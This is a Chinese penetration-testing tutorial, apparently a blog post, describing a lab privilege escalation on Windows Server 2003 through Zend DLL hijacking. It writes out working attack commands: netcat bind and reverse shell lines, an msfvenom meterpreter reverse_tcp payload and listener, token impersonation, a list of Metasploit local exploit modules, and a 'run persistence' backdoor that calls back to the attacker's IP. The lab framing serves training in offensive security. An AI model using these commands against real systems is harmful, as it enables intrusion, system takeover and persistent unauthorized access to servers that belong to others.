114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

    • 一、Zend.dll提权
      • 1、Zend简介:
      • 2、ZendExtensionManager.dll提权原理:
      • 3、ZendExtensionManager.dll提权限制:
      • 4、ZendExtensionManager.dll提权工具:
      • 5、ZendExtensionManager.dll提权背景:
      • 6、nc正向或反向获取shell:
      • 7、Zend_DLL_Hijacking_for_nc.exe NC正向连接:
        • (1)实验环境:
        • (2)靶机链接:
        • (3)实验过程:
      • 8、Zend_DLL_Hijacking.exe 执行远控:
        • (1)msfvenom生成攻击载荷
        • (2)msfconsole开启侦听
        • (3)提权工具生成dll并上传
        • (4)触发dll,反弹shell
        • (5)MSF提权
        • (6)MSF迁移进程
        • (7)MSF留下持久后门
        •    附1:Windows Server 2003 x86的七个提权模块
        •    附2:ms16_075伪装notepad进程

一、Zend.dll提权

1、Zend简介:

       在php里面有一个扩展是zend。

2、ZendExtensionManager.dll提权原理:

     IIS6.0 在启动的时候或进程重启的时候,当有用户访问php网页,则会加载我们伪造的ZendExtensionManager.dll文件,该伪造的文件通过hack工具可以实现反弹Shell功能。

3、ZendExtensionManager.dll提权限制:

限制1 限制2
服务器安装zend ZendExtensionManager.dll 所在目录需要文件可读可写
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第1张图片 114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第2张图片

4、ZendExtensionManager.dll提权工具:

工具 功能
Zend_DLL_Hijacking_for_nc.exe nc正向连接
Zend_DLL_Hijacking.exe 执行程序

5、ZendExtensionManager.dll提权背景:

     已经获得了靶机的一个webshell,且zend.dll是可读可写的。

6、nc正向或反向获取shell:

正向获取shell 反向获取shell
被控制端:nc -lvp 8080 -e /bin/bash 被控制端:nc -e /bin/bash ip 8080
控制端:nc ip 8080 控制端:nc -lv 8080
判断正反向的标准 正反向获取shell的相同点
从控制端到被控制端这个方向来看,若是被控的开的侦听则是正向,若控制端开的侦听是反向。 无论是正向还是反向,都是被控端把shell传送给控制端。

7、Zend_DLL_Hijacking_for_nc.exe NC正向连接:

(1)实验环境:

1.靶机环境:
(1)虚拟机WindowsServer2003【upload.moonteam.com】【192.168.97.132】
(2)脚本语言环境:php/asp语言环境存在

2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马

3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

     URL:http://upload.moonteam.com/upload_4.php

(3)实验过程:

第一步:通过MIME类型检测突破白名单限制获取webshell

【获取webshell过程略】,以下是提权过程:

第二步: 通过蚁剑连接webshell从而找到ZendExtensionManager.dll的位置为C:\ZkeysSoft\Zend\ZendOptimizer-3.3.3\lib,并且通过phpinfo探针发现zend确实安装了。

如下图所示,发现ZendExtensionManager.dll文件所在位置是C:\ZkeysSoft\Zend\ZendOptimizer-3.3.3\lib:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第3张图片

如下图所示,php的zend扩展已开启:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第4张图片

第三步:上传wt.asp检测目录可写工具,检测权限是否可写。

如下图所示,成功上传wt.asp到上传目录下:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第5张图片

如下图所示,访问我们上传的wt.asp工具,提交检测C:\ZkeysSoft\文件夹,发现lib目录是可读可写的:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第6张图片

第四步:上传nc和cmd到回收站目录下(因为一定可读可写),然后修改原来的zendextensionmanager.dll的名字为1.dll,并通过工具生成我们伪造的dll文件,然后上传到原来位置,从而让我们可以在IIS重启访问php页面的时候正向获取shell

如下图所示,成功的上传了cmd.exe和nc.exe到C:/recycler目录下:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第7张图片

如下图所示,成功的修改原来处于C:/ZkeysSoft/ZendOptimizer-3.3.3/lib目录下的ZendExtensionManager.dll为1.dll:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第8张图片

如下图所示,填入相关路径信息,然后点击生成dll文件,该dll文件的功能就是开启靶机的9527端口侦听的同时发送shell:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第9张图片

如下图所示,我们成功的上传伪造dll文件到原来的位置:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第10张图片

第五步:等待靶机的IIS服务重启后,我们访问任意php页面,则靶机就是触发我们伪造的dll文件,从而开启靶机的9527端口侦听的同时发送shell,我们就可以通过命令【telnet 192.168.97.132 9527】正向连接获取shell了。

如下图所示,我们在等待靶机重启后,访问任意php页面:为了触发dll
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第11张图片

如下图所示,我们在靶机上,发现9527端口已打开侦听:

114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第12张图片
如下图所示,我们通过命令【telnet 192.168.97.132 9527】尝试正向连接Shell:

【出了一些问题,图略】

8、Zend_DLL_Hijacking.exe 执行远控:

(1)msfvenom生成攻击载荷

msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.97.130 lport=12345 -f exe > 32.exe

如下图所示,上传攻击载荷32.exe到靶机的C:/CYCLER目录下:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第13张图片

(2)msfconsole开启侦听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.130
set lport 12345
exploit
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第14张图片

(3)提权工具生成dll并上传

如下图所示,生成伪造的dll文件:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第15张图片

如下图所示,成功上传伪造的dll文件:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第16张图片

(4)触发dll,反弹shell

【重启靶机后,当有人访问php网页的时候,就会加载dll,执行我们的32.exe,那么 msf 就会监听到一个反弹shell。】

如下图所示,重启靶机后,访问php网页:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第17张图片
如下图所示,成功反弹shell到msf上:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第18张图片

(5)MSF提权

如下图所示,发现getsystem提权以及getprivs提权失败:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第19张图片
如下图所示, 键入命令run post/multi/recon/local_exploit_suggester,获取到8个提权建议
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第20张图片
如下图所示,根据之前的某篇内容[传送门],发现以下5个模块是可以使用的,这里我们使用其他模块进行提权:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第21张图片
如下图所示,ms16_075_reflection提权失败,但是也可以在此基础上进行手工提权:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第22张图片

use incognito
list_tokens -u       //列出tokens,若结果中没有system,则可以手工上传potato.exe,然后在此执行execute -cH -f C:/RECYCLER/potato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"    //提权
getuid		//即可显示

114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第23张图片

如下图所示,ms10_015_kitrap0d可提权为system:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第24张图片

如下图所示,ms15_051_client_copy_image可提权为system:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第25张图片

(6)MSF迁移进程

          如下图所示,由于通过 metasploit 拿下主机进入到 meterpreter 后,其 shell 的稳定性比较低,例如若不是通过 ms17010 拿下的主机,而是通过浏览器的漏洞拿下的,当目标的浏览器关闭后,其 shell 就失效了,所以第一件事就是将 meterpreter 绑定到一个目标机的稳定进程上,比如exploer.exe桌面进程或者mysqld.exe数据库进程:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第26张图片
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第27张图片
如下图所示,输入migrate 3248,从而把当前进程迁移进稳定的explorer.exe进程中:
【失败了,图略】

(7)MSF留下持久后门

如下图所示,输入run persistence -X -i 5 -p 4444 -r 192.168.97.130,从而留下持久后门:
-X:表示植入后门
-i 5:表示5秒一次反弹shell
-p:表示反弹的端口
-r:表示反弹给攻击者IP
#语句过程解释:创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->同时把vbs写入目标主机注册表键值实现开机自动运行。
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第28张图片
如下图所示,是我们反弹来的持久后门的Shell:
114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第29张图片

   附1:Windows Server 2003 x86的七个提权模块

综合以上测试,发现可以给当前Windows Server 2003 x86提权的模块有七个

模块 说明
use exploit/windows/local/ms11_080_afdjoinleaf 开启了一个新session,进入新session直接就是system
use exploit/windows/local/ms14_058_track_popup_menu 开启了一个新session,进入新session直接就是system,这个提权可以跟上一个提权并存
use exploit/windows/local/ms14_070_tcpip_ioctl 开启了一个新session,进入新session直接就是system,这个提权只能单独使用
use exploit/windows/local/ms_ndproxy 没有开启新session,需要手动进入原来session,直接getuid就是system权限
use exploit/windows/local/ppr_flatten_rec 没有开启新session,需要手动进入原来session,再去getsystem提权
use exploit/windows/local/ms16_075_reflection 开启了新session,但是需要手工伪造令牌提权
use exploit/windows/local/ms10_015_kitrap0d 开启了新session,进去直接就是system
use exploit/windows/local/ms15_051_client_copy_image 开启了新session,进去直接就是system

   附2:ms16_075伪装notepad进程

114.网络安全渗透测试—[权限提升篇12]—[Windows 2003 ZendDLL劫持提权&msf本地提权&msf持久后门]_第30张图片

你可能感兴趣的:(#)